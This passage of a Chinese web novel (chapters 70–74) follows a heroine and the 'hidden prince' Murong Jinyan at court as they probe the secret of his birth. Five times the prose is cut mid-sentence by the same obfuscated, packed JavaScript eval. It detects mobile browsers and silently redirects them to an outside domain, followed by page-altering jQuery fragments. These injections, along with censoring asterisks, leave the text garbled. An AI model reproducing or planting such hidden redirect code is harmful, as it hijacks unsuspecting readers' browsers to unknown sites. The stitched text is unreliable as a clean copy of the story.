的院子。 苗景岚忽然联想起来,难怪大兴国的老百姓管慕容谨严叫“隐王爷”,敢情这位王爷不但没有官职没有封地,连自己的王府也没有,只有区区一个偏殿。 看样子大兴国的皇帝把自己这个弟弟当作宫里面的妃子养啊,难怪慕容严谨这样想调查清楚自己的身世,在他的身后肯定有一个天大的秘密。 苗景岚不由有些同情起这位隐王爷,虽然贵为王爷,地位恐怕还不如当朝一位身居重位的朝臣。 难怪他在民间的时候天天那样快活,哪怕身处险境也不觉得苦,跟做一只京城的金丝雀相比,那些危险和困苦根本不算什么。 慕容谨严的偏殿不但地方不算大,连里面伺候的宫人也只有小猫三两只。 而且,这这些宫人似乎也并不在意这个王爷。 王爷不在的这段日子,偏殿的院子也没有扫,金黄色的树叶落在地上,看上去寒风萧瑟,凉意****。 “你这里的宫人,好像不太关心你。”趁着四下无人,苗景岚偷偷跟慕容谨严说。 没想到慕容谨严不加思索的说:“他们都是皇兄的人,与其说是来伺候我的,还不如说是来监视我的。” “监视你?你一个没权没势的王爷,有什么好监视的?”苗景岚觉得奇怪。 “可不是嘛,皇兄以前把我养成一个文不成武不就的废物,现在又想把我关在笼子里面当一种金丝雀。我就让他达成心愿好了,免得让他不放心。”慕容谨严说出一番意味深长的话。 慕容谨严和苗景岚在偏殿住了一晚。 第二天一大早,王公公就来到偏殿。 “王爷,陛下知道你来了十分高兴,今天特意让我召您进宫,让您在宫里面用早膳,还让您把从京城外带来的姑娘带上,她想见一见呢。” “王公公呀,你可真是多嘴多舌呀。小岚岚昨天才随我一块来京城,你就让我带她见皇兄,也不担心小岚岚会害怕。”慕容谨严打了一个哈欠,开始调侃起王公公。 第70章 御酒(3) 王公公又是提着那公鸭嗓,一幅谄媚的嘴脸:“王爷说笑了,王爷出宫这段时间,陛下很是担心你。正所谓爱屋及乌,陛下对王爷带回来的姑娘也很是关心,所以特派奴才来请。” “那走吧,还废什么话呀?”慕容谨严不耐烦的催促道。 他跟皇帝关系特殊,也没有特意准备什么,穿着普通的衣服就朝大兴国的皇宫走去。 倒是苗景岚,第一回进宫,有些担心这宫里面的规矩多。 前一世看电视剧,老是宫里面斗来斗去,有时候一个规矩没做到位,一不小心就脑袋咔嚓,太吓人了。 王公公看出来王爷中意这位带来的姑娘,也不敢怠慢,也没有特意要求苗景岚要穿着什么特殊的衣服入宫,而是急匆匆的朝大兴皇宫的御书房走去。 大兴国的皇帝名叫慕容安康,今年三十六岁。 十年前刚刚即任皇位,虽然谈不上什么开国明君,却也是一个兢兢业业的皇帝。 至少他上任这十年来,大兴国算不上繁荣昌盛,至少也是平安和顺。 民间的老百姓喜欢拿他跟先帝相比,先帝是一个性格急躁的皇帝,暴怒之下常常会**泄愤,甚至干出诛人九族的事情。 而慕容安康性格比较温和,有时候和别人发生冲突,当时愤怒不己,也会根本事实来办事,不会因为个人的喜怒而发泄到大臣和百姓的身上。 就从这一点而言,苗景岚觉得这个慕容安康倒是一个明君。 只是他和慕容谨严究竟是什么样的情形,慕容谨严和慕容安康相差十四岁。 用慕容谨严的话来讲,慕容安康的年龄就算不当他的父亲,也可以当他的叔叔。 若说慕容安康对这个弟弟不好,却能容着慕容谨严胡来,哪里的王爷这样随便,出宫入宫自由,就算一声不响的微服出访,也没有降旨责怪。 若说慕容安康对这个弟弟好,却既不给他安排官职,又不赐他封地,就这样赖在皇宫里,让他无所事事,随波逐流。 慕容谨严的身上究竟藏着什么样的秘密,以至于大兴国的皇帝既疼爱他又忌惮他? 苗景岚一路上猜想着,不知不觉随着王公公的马车来到皇宫。 大兴国的皇宫跟苗景岚想象中的不同,以前在电视剧里面看到的皇宫都是大气磅礴、庄严肃穆的。 而此刻苗景岚亲眼所见的皇宫面积不大,顶多也就是前一世她平常逛的休闲公园那般大,估计在里面走个小半天就走完了。 大兴国的皇宫里面也不像想象中那样,全是皇帝的妃子住在里面,也有一些地方是用于大臣们办公的,类似于前一世的OFFICE。 而皇宫里面也没有苗景岚想象中的那样戒备森严,甚至苗景岚走他们面前过,守皇宫的侍卫都没有多看她一眼。 苗景岚有些不解,悄悄的问慕容谨严:“你们这里的皇宫一向都是这样戒备松散的吗?” 慕容谨严打趣说:“我十四岁前一直住在宫里,是宫里面最让人头疼的调皮猴子,十四岁之后住在皇兄赐给我的偏殿,隔三差五就要进皇宫面圣,门口的侍卫看都看烦我了。连带着我带来的人也不愿意多看一眼,所以,你是占了我的光。” “呵呵,是被你坑了一把吧。”苗景岚冷笑。 苗景岚知道,这一趟来到京城是帮助慕容谨严调查自己的身世。 他之前私自出宫,微服私访,想找寻和自己身世有关的事情。 如果慕容安康猜忌自己这个弟弟,那么自然也会猜忌自己这个随慕容谨严一块来的朋友。 前路是危险还是顺利,都未可知。 但苗景岚觉得,既然来了,就索性调查清楚,也算是还了这一阵子自己欠慕容谨严的人情。 大兴国的御书房并不大,也就五六十来个平米,里面摆放着一张宽大的梨花木书桌,还有几件简单的摆设。 听说大兴国的皇帝慕容安康一直是在这里办公,有时候甚至睡在这里。 苗景岚看到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15952417|175702||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他这么早在御书房里吃饭,知道传闻并没有假。 慕容安康并没有伏案坐在桌案前,而是坐在房间里面的一张方形餐桌前,安安静静的坐下。 “皇弟拜见皇兄!”慕容谨严跟慕容安康打个招呼。 “哼,你还知道回来?”慕容安康呵斥慕容谨严。 慕容谨严又开始他一向的痞癞嘴脸,“皇兄这话说的,皇弟心里面可是一直挂念着皇兄。皇兄天天忙于处理朝廷政务,皇弟不能替皇兄分忧,很是内疚。这次隐名瞒姓微服出访,替皇兄体察民情,这不就发现边疆浩城企图谋反,皇弟不顾自身安危替皇兄化解这一场灾难。怎的皇兄不嘉奖皇弟,反倒埋怨起皇弟来了?” 慕容谨严说这话时,活像一个在深宫里面向皇帝邀宠的怨妃,向皇帝撒娇。 他说得不以为然,苗景岚却快长出一身的鸡皮疙瘩。 看样子这货以前在皇帝身边的时候,这样的话没有少说吧。 慕容安康看到慕容谨严又恢复重新那样一帐懒散的样子,不由会心一笑:“你这皮猴,就一张嘴最会说,好像全天下的理都在你这边,全天下的委屈都在你一个人的身上。浩城的事情,当地的县令和边关镇守的将军已经统统告诉我了,知道你功不可没,之后朕自然会**行赏。可你一声不响就偷偷跑出京城,过好几个月才写一封信回来,就不怕皇兄担心你?” “皇兄,你看皇弟这不是好好的吗?皇兄是万世明君,皇弟又是一个福大命大之人。就算以一个普通百姓的身份在民间游历,也不会有什么危险的,皇兄多虑了!” 慕容安康招一招手,“哼,就你会说。还没有吃早饭吧?快过来跟朕一块用早膳。” 苗景岚看到他们兄弟两个你一言我一语,看似亲昵异常,竟有些错觉,之前慕容谨严对自己所说的话究竟是真是假? 慕容谨严在放满食物的桌前坐下,慕容安康这才看到站在慕容谨严身后的苗景岚,“你就是皇弟带回来的那个姑娘?” 第71章 御酒(4) 见慕容安康问起自己,苗景岚朝皇帝施一礼,“正是。民女苗景岚见过陛下。” “不必客气。你既然是谨严的朋友,就也是我的朋友,来到皇宫不用拘谨,就当来朋友家里做客好了。王公公,还不赐座。”慕容安康吩咐道。 旁边的王公公恭恭敬敬的应道:“是,陛下。” 然后马上张罗手下的小太监另外在御书房摆个小桌子,另外准备一套碗筷,还有准备好食物。 苗景岚算是明白了,所谓‘把皇宫当作自己家’,那也不过是皇帝的一句客气话。 顶多是另外准备一幅碗筷,另外一张桌子,坐在皇帝旁边吃而已,这就是朋友的待遇。 苗景岚一个人坐在桌前,倒没有什么拘谨,只觉得自己身处真正的皇宫,见到真正的皇帝,和以前电视剧里演的,以及自己想象中的完全不一样。 而慕容谨严和慕容安康则坐在一张桌子上吃饭,两兄弟有一搭没一搭的聊天。 兄弟两个聊的话题,无非是慕容谨严在皇宫外面遇到哪些有趣的事情,慕容谨严则回复皇帝皇宫外有哪些好吃的东西和好看的景色。 一顿早饭吃完之后,慕容谨严要离开,没想到王公公却把苗景岚单独叫过去,说要给苗姑娘赏赐。 苗景岚又加到御书房,这一回看到的慕容安康跟刚才又不一样。 刚才的慕容安康虽然威严,但脸上始终挂着笑容,看上去和蔼可亲。 但此时此刻坐在苗景岚面前的慕容安康,收起刚才亲切的笑容,用一种十分锐利的目光看向苗景岚,浑身上来带着一种皇帝才有的气质,给人感觉不怒自威。 “我知道你和谨严关系匪浅,谨严是一个天真的人,你可以做他的红颜知己,但不够资格成为他的王妃。若是你安安份份,我可以让他给你一个名份,但你若是敢蛊惑他,或是在背后使出什么招数,我一定不会放过你!”慕容安康警告苗景岚。 苗景岚有些意外,没想到大兴国的皇帝特意把自己叫过来,会说出这样的一番话。 意外过后,她忍不住笑起来。 “哈哈哈……哈哈哈……哈哈哈哈哈……” 苗景岚笑得花枝乱颤,却把慕容安康看得有些恼火。 “你笑什么?”慕容安康厉声问道。 “我笑你身为大兴国的皇帝,却是一个狭隘之人,你以为所有的人都很在乎王妃的身份吗?还有,你真的了解慕容谨严吗?真的有在乎过慕容谨严的感受吗?” 苗景岚一句句的逼问,直把慕容安康弄得一肚子窝火,大声呵斥:“放肆!” 如果是搁在前世,苗景岚一定会把眼前这个人骂个狗血淋头,可她现在是在古代,自己的身份不过是一个平民百姓,如果她真这样做了,只怕自己的小命也保不住。 只得忍耐一下性子,换一种方式跟眼前的皇帝沟通:“陛下,你放心好了,我跟慕容谨严是朋友,我从来没有肖想过什么王妃的身份。我希望他好,更不会利用他搞什么阴谋。如果哪天你发现我真的这样做了,那你直接拿走我的性命好了。” 苗景岚说完这样一席话,便头也不会的扭头离开,一点儿也不在意大兴皇帝意外的眼神。 …… 出了皇宫门口,就看到慕容谨严守在那里。 当他看到走出来的苗景岚时,不由眼睛一亮,然后活像一条摇头摆尾的哈巴狗,好奇的一路跟着苗景岚追问:“小岚岚,你终于出来了?我皇兄在里面跟你聊了一些什么?他赏赐了你什么东西?……” 可是,苗景岚默不吭声,只是自顾自的往前走。 可是,慕容谨严却锲而不舍的一边走一边追问:“小岚岚,小岚岚,快告诉我嘛,快告诉我嘛……” “我跟你讲,我皇兄这个人虽然有些虚伪,但还是一个说话算话的人。” 苗景岚冷笑一声,“那当然,他好歹是大兴国的皇帝嘛,一言九鼎至少还是要做到的。” “那是当然。那小岚岚,我皇兄究竟送你什么东西呀?” “好,你不用告诉我,让我来猜猜。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15963851|175702||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “是送你黄金吗?” “不是。”苗景岚态度冷淡,走路的脚步一点儿也没有停留下来。 “那是送你珠宝首饰?” “也不是。” 慕容谨严不由有些失望,“既不是赏你黄金,也不是赏你珠宝首饰,难道是赏你房子?他想让你在京城定居?” “你是不是傻呀?我住在你家,你皇兄还会另外送给我房子?” “那是赏你什么?难道是名贵字画?”慕容谨严不解的问,“我这个皇兄,真是越来越搞不懂了。” “他想赏赐我一个名份。” “什么?”慕容谨严的声音不由提高八度,“咳咳咳咳咳咳……皇兄,皇兄他……他看上你了吗?” “他说我不够资格当王妃,但可以给我一个其他的名份。” “皇兄真这么说的?”慕容谨严不由有些义愤填膺,“真是欺人太甚!” 慕容谨严气愤不己,不由撸起袖子,转过身就重新往皇宫里面跑。 苗景岚叫住他,“你干什么?” “所有人都知道,朋友妻不可欺,可我皇兄却连普通老百姓都不如。不行,我得回去跟他好好理论去!”慕容谨严扭头就要走。 苗景岚却一把拉住他,“别傻了,你皇兄不是要让我成为他的女人,而是要我成为你的女人,他说我不能成为你的王妃,却可以给我一个名份,只要我呆在你的身边乖乖听话。” “皇兄真的这样说的?”慕容谨严有一些不可思议。 苗景岚却点点头,“确实这样说的。” 没想到慕容谨严居然跟个孩子一样开心的笑起来:“哈哈哈哈哈哈哈哈……想不到皇兄虽然事务繁忙,却还是心细如尘呀,连这个他都能想到。哈哈哈哈哈哈哈……他还真是做了一件好事,提前帮我想到了,还懒得让我之后再去求他,免了我一桩心事!” 苗景岚听出不对劲,直接怼上去:“慕容谨严,你不是让我来京城帮忙查你的身世吗?在这里胡言乱语什么?” 第72章 御酒(5) 苗景岚听出不对劲,直接怼上去:“慕容谨严,你不是让我来京城帮忙查你的身世吗?在这里胡言乱语什么?” 慕容谨严又露出那幅痞癞的模样:“小岚岚,不要这样说嘛,咱们毕竟相处这么久,多多少少还有那么一点感情的。” 苗景岚停下脚步,眼神之中带着那么一丝令人琢磨不定的光芒:“慕容谨严,你究竟是什么意思?之前听你所说,你这个皇兄对你是百般算计、百般控制,我对你有所同情才想着要帮你的。可是如果你对我打着其他的盘算,我看那这事就做罢吧。以后咱们桥归桥、路归路,从此各不相干。你继续当你的逍遥王爷,我回我的老家继续酿酒。” 一听这话,慕容谨严慌了神,赶紧说:“岚儿,我承认这段时间的相处,我确实对你有非分之想。可这跟请你来帮我查清身世没有关系啊,就算你将来不愿意嫁给我,也不影响这件事啊。说什么给你名份之类的,那是我皇兄的意思,我可从来没有强迫过你啊。” 苗景岚犹豫一下,带着几分语重心长对慕容谨严说:“我不管你怀着什么样的心思,我来这里只是为了帮你,查清楚你的身世,没有其他。如果你以此为借口,怀着什么样的目的,就算让你皇兄来压迫我,我也不会答应的。” “这是自然。我知道你从来不是那样的女子。” “你说你皇兄对你控制,可我发现,他好像挺关心你的。虽然他不给你封地,也不赐你官职,但也给了你极大的自由。即便派人在你的府邸监视你,不也是对你极其宽容吗?甚至你私自离京,也没有怪罪于你。”苗景岚如是说。 她甚至想,连自己这个皇弟的婚事都要亲自过问,证明慕容安康对自己这个弟弟还是关心的。 至于慕容谨严的身世,这里面或许有什么误会。 听到这些,慕容谨严冷笑一下,“岚儿,连你都这样说,可见我这皇兄的表面功夫是相当好。他关心我是不假,却只是为了让我更好的在他眼皮子底下行动。他之所以给我自由,是因为知道我身边没有一兵一卒,甚至连一个亲信也没有,他才敢给我这样的自由。一个无权无势的隐形王爷,就算稀里糊涂死于民间,那也是咎由自取,怪不了别人!” 苗景岚听完这些,沉默了。 宫里面的那些龌龊勾当,虽然没有亲眼见过,听也听过不少。 也许事情真如慕容谨严所说的那样,没有外面看起来的那样简单。 “慕容谨严,你也别想那么多了。既然我答应帮你查清楚你的身世,就一定会竭尽全力,但你若是对我还有所隐瞒,我发誓一定不会再帮你,更不会再管你的事情。” “放心,小岚岚,以后我保证什么事情也不会瞒着你,就算是里里外外都让你看得通透!”见苗景岚没有生气,慕容谨严的话里话外又开始不正经起来。 …… 一连在慕容谨严的偏殿住了几天,苗景岚也摸清楚一些情况。 所谓偏殿,实际上也是大兴国的皇宫,也就是说慕容谨严哪怕是成年以后,也是住在皇宫里,并没有搬出去。 跟大兴国的其他王爷相比,有的还不等行冠礼就被皇帝早早的赐予府邸,甚至划分封地,目的就是皇位的继承者想把其他的皇子分离出去,让他们远离权力的中心,逐渐边缘化他们。 然而,慕容谨严却恰恰相比,成年之后也只是在大兴国的皇宫外面多盖几间房,让慕容谨严住在那里,美其名曰“偏殿”,实际上也是皇帝的眼皮子底下。 而且,大兴国的皇宫宫楼上面,就可以看清楚慕容谨严的偏殿,连里面的人在院子里头踢毽子都可以看得一清二楚。 难怪慕容谨严说皇兄从来没有真正信任过他。 通过这几天的了解,苗景岚还发现一个情况。 所有有关慕容谨严的出生资料全部都消失了,原本在大兴国皇宫出生的皇子,哪怕是公主,每个人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15969099|175702||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的出生凭证和出生资料都会记录得详详细细,可偏偏慕容谨严是个例外。 不仅如此,据慕容谨严自己透露,不光是他的出生资料找不到,连带着那些替他接生的产婆和嬷嬷都找不到人影。 也是,既然资料都找不到,又到哪里去找人证呢? 慕容谨严,一个前朝最年幼的皇子,好像是从凭空来到这个世界上的。 有关他出生前的一切,一切都没有记载,连带着慕容谨严的生母是哪一位,大兴国的记录里都没有一星半点。 如果不是苗景岚知道慕容谨严是这个世界的人,她真的会以为慕容谨严也跟自己一样,是从另外一个世界里穿越过来的。 “你说可笑吧。我问过宫里面每一位产妇,她们全都不知道我的生母是谁。小的时候,我以前问过父皇,‘我的亲娘是谁?’父皇却勃然大怒,罚我一个月的禁闭,还把我身边的人都仗责二十。从此之后,我再也不跟任何人问起我生母的事情。” “想想我也真是天真,以为一定是我的生母曾经引父皇不快,所以他才不喜欢我问这个。直到父皇驾崩,皇兄即位,我以为皇兄跟父皇不同。所以,我也问样问他这个问题,‘我的亲娘是谁?’可是,皇兄也不告诉我,还把我身边的人全部换掉。” “我这才意识到,原来皇兄和父皇没有什么不同。至于我的身世,一定涉及到他们两个都不愿意提起的秘密,至于那秘密是什么,就靠岚儿帮我来查清了。” 什么证据也没有,想要查的资料也没有,更不要提什么人证,这件事情要认真查起来还真的有些棘手。 苗景岚沉默片刻,忽然有个新的思路:“你说,会不会有这种可能,你根本不是在皇宫里面出生的,而是在皇宫外面出生。至于你的母亲,可能在你刚出生后不久就**,所以你根本查不到。” 慕容谨严摸摸下巴,“有这个可能。但如果真是这样,应该怎样查才行?” 第73章 御酒(6) 慕容谨严沉默片刻,这些年他一直对自己的身世耿耿于怀。 身为皇子,没有受到过任何皇子的待遇,被民间百姓戏称为“隐王爷”。 哪怕是皇兄假装出的善意,也改变不了他命运的坎坷。 一直以来听到的风言风语,还有从小到大父皇看自己的眼神,那眼神里面带着厌恶、憎恨、嫌弃……唯独没有父亲的温柔。 这世上没有哪个父亲会这样对待自己孩子的。 从那一刻开始,慕容谨严就对自己说,一定要知道其中的原因。 苗景岚看着慕容谨严,忽然有了一个主意:“解铃还需系铃人,如果你真的是从外面被带进宫里的,一定有人知道是谁把你带进来的。慕容谨严,你还是要从宫里面的人查起。” “没有用。我老早就派人查了,但是我派出去的人不是**,就是打探不到任何消息。后来我才知道,我的人都被父皇给杀了,就是被父皇给收买。” “你的父皇并不想你知道自己的身世。不过,我还是觉得你应该从皇宫里面查起,就从你的父皇身边查起。”苗景岚建议道。 慕容谨严陷入思索之中,然后有些无奈的说:“可是,父皇过逝,连带着他身边的人也死的死,离开宫的离开宫,想要查更是无从查起。” 苗景岚轻轻一笑,“我倒是不这样认为。先皇一过逝,就没有人能够阻拦你调查自己的身世。我们可以先从先皇身边的人查起,特别是先皇的亲信。” “你说错了,父皇**,我皇兄即位,他受父皇的衣钵,也不想让我查出自己的身世,虽然我不知道自己的身世是什么。” “他不让你查,你就不查吗?你就跟我说一说,之前跟你父皇最亲近的人有哪几个,像是身边最亲近的太监之类的。” “有是有。有一个老太监,八岁就跟在我父皇身边,伺候了我父皇六十多年。父皇过逝之后,皇兄特许他告老还乡,但他感恩父皇的恩情,一直在替父皇守皇陵。” “那我们就去你父亲的皇陵找他。” …… 大兴国的皇陵,离着大兴国的皇宫有十几里地。 慕容谨严和苗景岚骑着快马,连夜赶到皇陵。 先皇的皇陵建造得很简陋,只有小小的一个山丘。 而就在山丘的旁边,搭建一个小小的茅草屋,而曾经伺候先皇的邓公公就住在这茅草屋里。 此时的京城正值夏初,天气逐渐炎热。 邓公公坐在茅草屋外面的桌子旁边,桌子上面还摆着一壶酒,邓公公迎着月亮正在独酌。 只见邓公公自言自语的说:“这鬼天气,是越来越热了。陛下,想当初你在位的时候,最喜欢在这个天气和冰镇葡萄美酒,那美酒可真甜啊。” 邓公公一边说着,一边端起酒杯,细细的品一口。 他的神情有些陶醉,眼神有些迷离,似乎一直在回味着以前的经历。 “邓公公,一个人喝酒多没劲呀,不如我陪你一块喝!”慕容谨严跳下马,走到桌前,径直端起桌上的酒杯,跟邓公公一块喝起来。 邓公公有些醉了,没有认出穿着一身平民服饰的慕容谨严,“嘿嘿嘿……这么多年了,都没有人愿意跟我一个老头子喝酒,你算是头一个!” “我一看您老就见多识广,又在这里替先皇守皇陵,应该见识过不少的世面吧。” 邓公公咽下一口酒,颇有些得意的说:“那是当然,要说老头子我这辈子,见识过的东西是有的人这辈子都没有见识过的。” “那您老能够跟我说说,先皇是一个什么样的人?听说他有九个儿子,其中最小的一个最得宠。” 邓公公马上换上一幅警惕的神色,“你这是听谁说的?” “哎呀,难道不是吗?哪个大户人家或者是平民百姓,不都是最心疼最小的儿子吗?”慕容谨严装做一无所知的样子。 “那是别人家。大兴国的皇室是平民百姓吗?那是一般 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15975456|175702||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的人家可以比的?” “公公说的是。我敬公公一杯。”慕容谨严知道,要想从谁的嘴里面探听到消息,第一件事情就是要把对方的**给捋顺,顺着**摸才能有可能。 邓公公接过慕容谨严送过来的酒,很满意的送进嘴中。 “年轻人,你很懂事呀。现在这年头,像你这种懂事的年轻人真的不多了。先皇在位的时候,我倒是也见识几个,那都是万中无一的少年英雄呀。” “公公,看样子,先皇的事情你知道不少啊。”慕容谨严又夸赞一句,真是把邓公公的**捋得十分舒爽。 “那是当然。我就这样跟你说吧,先皇的事情就没有我不知道的。” “那你能跟我说一说吗?我最想知道先皇的事情了,你要是告诉我,我每个月都带一瓶上好的美酒过来,跟你亲自喝酒。” 邓公公十分满意,憨憨的笑一声,“好呀。你想要知道什么,尽管问好了。反正先皇已经不在了,就算我把他的事情说出来,也没有什么大不了,顶多到了下面让先皇找我问罪好了。” “好。我想知道先皇最小的一个儿子慕容谨严的事情。” 邓公公颇有些惊讶,“你为什么要问有关他的事情?” “额……大概是因为那个家伙跟我同龄,但境遇不同,所以才这样好奇。” “没什么可好奇的,那也是一个可怜的孩子,虽然贵为皇子,但一生都得做个窝囊废,因为那是他的宿命。” “什么?窝囊废?咳咳咳咳咳咳……为什么?”慕容谨严问到这里,不由有些尴尬。 而躲在暗处偷听的苗景岚,忍不住偷偷笑起来。 邓公公突然神秘的东看看,西看看,然后小声的对慕容谨严说:“这是一个皇室的秘密,轻易不能说。真正知道这件事情的人很少很少,知道这个秘密的人差不多都**,而我是个例外。因为念着先皇的一点旧情,我才能活到现在,我要是说了,怕也活不长久。” 第74章 御酒(7) “邓公公,那究竟是一个怎样的秘密?你能不能告诉我?你要是告诉我,我保证每隔三天,就给你送来一壶美酒。”慕容谨严郑重承诺。 邓公公却谨小慎微的摇摇头,“不行不行,要是全都告诉你,我这把老骨头只怕是留不住了。” “邓公公,你刚才还说你多么厉害,原来这样怕死。你这样,悄悄告诉我一个人,我保证不对外面说。而且,我以后还天天带酒来同你喝,怎么样?” “你这个条件开得是很好,但是小皇子的事情,即便是先皇在世的时候,那也是一个禁忌,轻易不能说。”邓公公似乎有点醒酒,看着慕容谨严的脸,有些疑惑,“咦,说起来,年轻人,我看着你怎么觉得有些面熟?我们以前是不是见过呀?” “没有啊,公公,可能我这个人长得比较面善,所以你才觉得我面熟。话说回来,先皇的那个小皇子不是最得宠吗?别的皇子成年后都被划分到京城以外的地界,只有他哪怕是成年后都可以继续住在京城。还什么都不用干,做一个富贵闲人。” “呵呵,富贵闲人?怕是一个不中用之人吧。你也知道,从古至今,凡是皇帝的儿子长大后都会被赐予封地,偏偏这位小皇子是个例外,可见无论是先皇,还是当今圣上,都不怎么看好他,也不可能会重用他。” “那先帝和当今圣上为什么要这样对他?”慕容谨严抓住机会就赶紧问。 “怪只能怪他有一个那样的父亲。”邓公公突然冒出来一句让慕容谨严十分疑惑不解的话。 “什么样的父亲?小皇子的父亲不就是先皇吗?” 邓公公突然小声的在慕容谨严的耳边说:“其实这是一个天大的秘密,你要保证不告诉别人。” 慕容谨严马上配合喝酒的邓公公连连点头:“公公请放心,我这个人嘴很严的。” “好,我悄悄告诉你。其实小皇子不是先帝的儿子,而是他最讨厌之人的儿子,所以小皇子才不被先帝所喜。” “先帝最讨厌的人?是谁?”慕容谨严继续追问。 这回轮到邓公公戏弄慕容谨严,“你这人不是话唠又爱打听吗?先皇最讨厌的人,你猜猜是谁呀?” “这样太难猜了,不如我说出一个相近的人物,你点头说是或者不是,这样我就越来越接近答案。干脆我们这样玩一个游戏,我提出问题,你来回答是或者不是。如果是的话,你就喝一杯;如果不是的话,我就喝一杯。” 邓公公似乎被这个有趣的游戏说打动,马上说:“好呀,我们来猜。若是猜中了,我喝一杯;若是你没猜中,就自罚一杯。” “好,开始。我先问了。这位令先皇讨厌的人是一位将军?”慕容谨严头一个想到的是远在边疆的叶将军。 可是,邓公公默不作声。 桌上的酒杯一动不动。 慕容谨严知道,自己没猜中,先皇最讨厌的人并不是将军,他端起酒杯自罚一杯。 “好,我们接着猜。这个人是先皇的证敌。”既然猜将军没有猜对,慕容谨严只能往更大的方向猜。 这一回,邓公公端起桌上的酒杯喝起来:“嘿嘿嘿……小子,被你蒙多了,先帝最讨厌的这个人是他的政敌。” “那么,这个政敌已经**?” 邓公公又端起酒杯,爽快的再喝一杯。 慕容谨严这一回又猜中了,先帝最讨厌的人是自己的政敌,而自己是这个政敌的儿子,所以才会让先帝厌恶。 不过,如果真是这样的话,有一点说不清。既然死的是先皇的政敌,那么先皇为什么还要把仇人的儿子养在身边,这不是养虎为患吗? “先帝把这个政敌的儿子养在身边,是想获得声誉,怕天下人指责。” 到了第三个问题,邓公公没有立即做出反应,半晌才回答:“是,也不是。先帝把这个留在身边,既是为了自己的名声,也是为了更好的看住他。” 慕容谨严不由联想起父皇和皇兄对自己的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15983342|175702||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 态度,看似关心,其实只是另外一种圈禁。 可惜慕容谨严不了解,还真以为皇兄是在关心自己。 “我猜测先帝肯定跟这个政敌关系匪浅,所以才把他的儿子留在身边。回想先帝在位之时,政敌不计其数,可他真正看中,甚至在其背叛之后愿意收留其儿子的,却是微乎其微。是什么样的政敌,才会让先帝既爱又恨呢?” “嘿嘿嘿嘿嘿……年轻人,想不到你还是一个思维敏锐之人。你接下来继续猜吧,说不定很快就能接近答案。”邓公公有些顽皮的笑起来。 “不好玩,不好玩,这样很难猜中。公公,不如我们换过一个游戏,你直接把那个人名字当中的一个字告诉我,让我直接来猜,如果我猜中了,就请你连喝三个月的美酒。如果我没猜中,就请你连喝一个月的美酒,你看怎么样?” 邓公公却连连摆摆手,“不好不好,我要是告诉你那人名字当中的任何一个字,你就很容易猜中的。” 忽然间,慕容谨严好像联想起什么,突然问出一句:“邓公公,这个政敌该不会是先帝的骨肉至亲。” 说到这里,邓公公又不肯回答了。 慕容谨严见状,更加肯定自己的答案。 “公公,我不需要你说出那人名字当中的任何一个字,轮到我来猜那个人的名字。如果我说对了,你就喝掉杯中的酒,我就当你什么也没有说过,你看行吗?只要你肯玩这个游戏,接下来我每天都来给你送酒喝。” 连着三个月都能喝到美酒,这让邓公公十分的向往,他马上答应下来:“好吧,我跟你玩。” “邓公公,你说的这个人是不是先帝曾经的大皇子慕容宏康?”当慕容谨严说出这个名字时,脸色明显变得黯淡下来,似乎“慕容宏康”这四个字里面有什么恐怖的力量,让他提都不愿意提。 他多么希望答案不是这个。 可是,邓公公却利索的喝干桌上的那杯美酒,证明之前他猜中了。